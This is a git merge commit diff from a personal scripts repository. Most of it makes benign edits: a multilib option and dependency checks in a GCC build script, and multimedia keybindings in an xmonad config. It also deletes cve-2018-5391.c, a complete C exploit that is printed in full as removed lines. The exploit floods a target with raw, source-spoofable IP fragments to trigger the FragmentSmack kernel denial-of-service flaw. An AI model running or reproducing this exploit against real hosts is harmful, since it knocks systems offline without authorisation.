Merge branch 'master' of https://github.com/lnslbrty/foo-scripts

3 files changed, 43 insertions, 138 deletions

diff --git a/build-gcc.sh b/build-gcc.sh
index 8369448..2d77d80 100755
--- a/build-gcc.sh
+++ b/build-gcc.sh
@@ -10,6 +10,16 @@ set -x
 #or
 #GCC_VERSION="4.4.2"
 #BINUTILS_VERSION="2.25"
+#or
+#GCC_VERSION="4.9.4"
+#BINUTILS_VERSION="2.27"
+
+if [ ! -x /usr/bin/wget -o ! -x /usr/bin/whiptail ]; then
+	echo "${0}: missing wget/whiptail"
+	echo "${0}: On Debian: \`sudo apt install wget whiptail\`"
+	echo "${0}: On ArchLinux: \`sudo pacman -S wget libnewt\`"
+	exit 1
+fi
 
 BIN_DLSITE="https://ftp.gnu.org/gnu/binutils"
 GCC_DLSITE="https://mirrors-usa.go-parts.com/gcc/releases"
@@ -27,6 +37,14 @@ GCC_MENU=$(echo "${GCC_CONTENT}" | sed -n 's/^"gcc-\(.*\)\/"$/\1 gcc-\1/p')
 GCC_VERSION=$(whiptail --menu 'choose gcc version' 35 55 25 ${GCC_MENU} 3>&1 1>&2 2>&3)
 echo "gcc: ${GCC_VERSION}"
 
+# enable multilib?
+MULTILIB_ENABLE=$(whiptail --clear --menu 'enable multilib? (requires libc-dev:i386 as well as libc-dev:amd64)' 15 35 5 y yes n no 3>&1 1>&2 2>&3)
+if [ x"${MULTILIB_ENABLE}" = x'y' ]; then
+	MULTILIB_ARG="--enable-multilib"
+else
+	MULTILIB_ARG="--disable-multilib"
+fi
+
 # build gccgo?
 GCCGO_ENABLE=$(whiptail --clear --menu 'build gccgo?' 15 35 5 y yes n no 3>&1 1>&2 2>&3)
 if [ x"${GCCGO_ENABLE}" = x'y' ]; then
@@ -132,7 +150,7 @@ cd ${BIN_BUILD}
 # build binutils
 ../binutils-${BINUTILS_VERSION}/configure            \
     ${MULTIARCH}                                     \
-    --disable-multilib                               \
+    ${MULTILIB_ARG}                                  \
     --prefix=${INSTALLDIR}                           \
     --disable-nls                                    \
     ${GCCGO_BIN}                                     \
@@ -153,7 +171,7 @@ cd ../${GCC_BUILD}
     --enable-__cxa_atexit                            \
     --enable-clocale=gnu                             \
     --enable-languages=c,c++${GCCGO_GCC}             \
-    --disable-multilib                               \
+    ${MULTILIB_ARG}                                  \
     --with-system-zlib                               \
     ${GCCGO_BIN}                                     \
     --enable-lto                                     \
diff --git a/configs/xmonad.hs b/configs/xmonad.hs
index 7ee196b..d63b94f 100644
--- a/configs/xmonad.hs
+++ b/configs/xmonad.hs
@@ -44,7 +44,6 @@ fileWS = "2:mail"
 webWS  = "3:web"
 w1WS   = "4:work1"
 w2WS   = "5:work2"
-W3WS   = "6:work3"
 myWorkspaces :: [WorkspaceId]
 myWorkspaces = [ comWS, fileWS, webWS, w1WS, w2WS ] ++ map show [6..9]
  
@@ -172,9 +171,16 @@ myKeys conf@(XConfig {XMonad.modMask = modMask}) = M.fromList $
   , ((modMask .|. shiftMask, xK_l),
      spawn "xtrlock")
 
-  -- Start Firefox
-  , ((modMask .|. shiftMask, xK_i),
-     spawn "iceweasel")
+  -- Start chromium.sh
+  , ((0                    , 0x1008ff18),
+     spawn "chromium.sh")
+
+  -- Start claws.sh
+  , ((0                    , 0x1008ff19),
+     spawn "claws.sh")
+
+  , ((0                    , 0x1008ff1b),
+     spawn "chromium duckduckgo.com")
 
   -- run demnu
   , ((modMask .|. shiftMask, xK_d),
@@ -200,6 +206,18 @@ myKeys conf@(XConfig {XMonad.modMask = modMask}) = M.fromList $
   , ((modMask .|. shiftMask, xK_k),
      spawn "amixer -q set Master 10%+")
 
+  -- Mute volume multimedia key.
+  , ((0                    , 0x1008ff12),
+     spawn "amixer -q set Master toggle")
+
+  -- Decrease volumt multimedia key.
+  , ((0                    , 0x1008ff11),
+    spawn "amixer -q set Master 10%-")
+
+  -- Increase volume multimedia key.
+  , ((0                    , 0x1008ff13),
+    spawn "amixer -q set Master 10%+")
+
   --------------------------------------------------------------------
   -- "Standard" xmonad key bindings
   --
@@ -354,7 +372,7 @@ myStartupHook :: X ()
 myStartupHook = do
                 safeSpawnProg "seahorse"
                 safeSpawnProg "chromium"
-                safeSpawnProg "pidgin"
+                safeSpawnProg "pidgin.sh"
                 safeSpawnProg "claws.sh"
 		setWMName "LG3D"
                 nextWS
diff --git a/cve-2018-5391.c b/cve-2018-5391.c
deleted file mode 100644
index 0bfa2f4..0000000
--- a/cve-2018-5391.c
+++ /dev/null
@@ -1,131 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <time.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netinet/ip.h>
-#include <netinet/ip_icmp.h>
-#include <arpa/inet.h>
-#include <assert.h>
-#include <errno.h>
-
-#define PKG_BUF 2048
-
-
-static inline void die_on_error(const char *err_prefix, int ret)
-{
-    if (ret) {
-        if (errno)
-            perror(err_prefix);
-        abort();
-    }
-}
-
-static unsigned short csum(unsigned short *ptr, int nbytes) 
-{
-    long sum;
-    unsigned short oddbyte;
-    short answer;
-
-    sum = 0;
-
-    while (nbytes > 1) {
-        sum += *ptr++;
-        nbytes -= 2;
-    }
-
-    if (nbytes == 1) {
-        oddbyte = 0;
-        *((u_char*) &oddbyte) =* (u_char*) ptr;
-        sum += oddbyte;
-    }
-
-    sum = (sum >> 16) + (sum & 0xffff);
-    sum = sum + (sum >> 16);
-    answer = (short) ~sum;
-
-    return(answer);
-}
-
-int main(int argc, char **argv)
-{
-    unsigned char pkg[PKG_BUF];
-    struct iphdr *ip = (struct iphdr *) pkg;
-    struct sockaddr_in dest;
-    int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
-    int r, val = 1;
-    size_t data_size = 896 - sizeof *ip;
-    useconds_t send_rate = 1 * 1000; /* 50ms */
-    size_t cur_frags, max_frags = 64;
-    uint16_t id, max_bucket = 32;
-
-    die_on_error("socket", s < 0);
-
-    r = setsockopt(s, IPPROTO_IP, IP_HDRINCL, &val, sizeof val);
-    die_on_error("setsockopt", r != 0);
-
-    if (argc != 3) {
-        printf("usage: %s [SOURCE-IP] [DEST-IP]\n", (argc > 0 ? argv[0] : "./dos"));
-        return 1;
-    }
-    printf("smack: %s -> %s\n", argv[1], argv[2]);
-
-    memset(&dest, 0, sizeof dest);
-    memset(pkg, 0, sizeof pkg);
-
-    ip->ihl = 5;
-    ip->version = 4;
-    ip->tos = 0;
-    ip->tot_len = data_size - sizeof(struct iphdr);
-    assert(ip->tot_len <= PKG_BUF);
-    ip->id = 0;
-    ip->frag_off = 0;
-    ip->ttl = 255;
-    ip->protocol = IPPROTO_IP;
-    ip->check = 0;
-    ip->saddr = inet_addr(argv[1]);
-    ip->daddr = inet_addr(argv[2]);
-    ip->check = csum((unsigned short *) pkg, sizeof *ip);
-
-    dest.sin_family = AF_INET;
-    dest.sin_addr.s_addr = inet_addr(argv[2]);
-
-    srandom(time(NULL));
-    cur_frags = 0;
-    while (1) {
-        if (cur_frags % max_frags == 0) {
-            ip->frag_off &= 0xFF1F;
-            id = ip->id;
-            for (uint16_t i = 0; i < max_bucket; ++i) { 
-                ip->id = htons(id + i);
-                r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest);
-                die_on_error("sendto", r != ip->tot_len);
-            }
-            ip->id = id;
-
-            ip->id = (uint16_t) random();
-            ip->frag_off = 0x0020;
-            printf("ip->id = %u\n", ip->id);
-        }
-
-        //ip->saddr = (uint32_t) random();
-        id = ip->id;
-        for (uint16_t i = 0; i < max_bucket; ++i) {
-            ip->id = htons(id + i);
-            r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest);
-            die_on_error("sendto", r != ip->tot_len);
-        }
-        ip->id = id;
-
-        usleep(send_rate);
-        printf("%zu: ipd->id = %04X , ip->frag_off = %04X\n", cur_frags,
-            ip->id, ntohs(ip->frag_off));
-        ip->frag_off += htons(8);
-        cur_frags++;
-    }
-
-    return 0;
-}